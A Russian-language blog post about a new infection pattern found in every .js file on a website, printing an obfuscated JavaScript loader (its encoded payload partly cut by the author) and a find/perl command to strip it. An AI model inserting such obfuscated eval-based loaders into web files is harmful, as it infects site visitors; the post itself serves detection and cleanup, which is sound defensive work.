Вирусы на сайте. Продолжение. Новый паттерн

Найден новый паттерн. Заражаются все .js-файлы

try{q=document.createElement("d"+"i"+"v");q.appendChild(q+"");}catch(qw){h=-012/5;}try{prototype;}catch(brebr){st=String;zz='al';zz='zv'.substr(123-122)+zz;ss=[];f='fr'+'om'+'Ch';f+='arC';f+='ode';w=this;e=w[f["substr"](11)+zz];n="19$50$57.5$

<часть кода убрана>

9.5$19$19.5$28.5"[((e)?"s":"")+"p"+"lit"]("a$"[((e)?"su":"")+"bstr"](1));for(i=6-2-1-2-1;i-681!=0;i++){j=i;if(st)ss=ss+st.fromCharCode(-1*h*(1+1*n[j]));}q=ss;e(q);}

Выкусывается командой:

find ./ -type f -name "*.js" -exec perl -pi -e 's/try\{q=documen.*q=ss;e\(q\)//g''' '{}' \;

Не забываем перед операцией делать резервную копию директории/сайта.

Другие публикации по теме:

Использование сторонних хостингов JS-библиотек... Периодически начинаю осматривать различные аспекты оптимизации сайтов согласно различным сервисам, приложениям и рекомендациям. Некоторое время назад ...
Вирусы на сайте. Поиск и удаление кода.... Тема появления вредоносного кода на страницах сайта очень популярная. Хотел в заголовке добавить "Часть 1", но потом решил сделать в виде бесконечной ...
Вирусы на сайте #3 Продолжаем бесконечную историю.Сегодня день начался с того, что блог перестал открываться по причине того, что хостер убрал InnoDB из поддерживаем...

Поделиться информацией с друзьями!

Чтобы не пропустить обновления, подпишись на RSS или почтовую рассылку (свой выбор сделали уже 128 человек!)

Оставить комментарий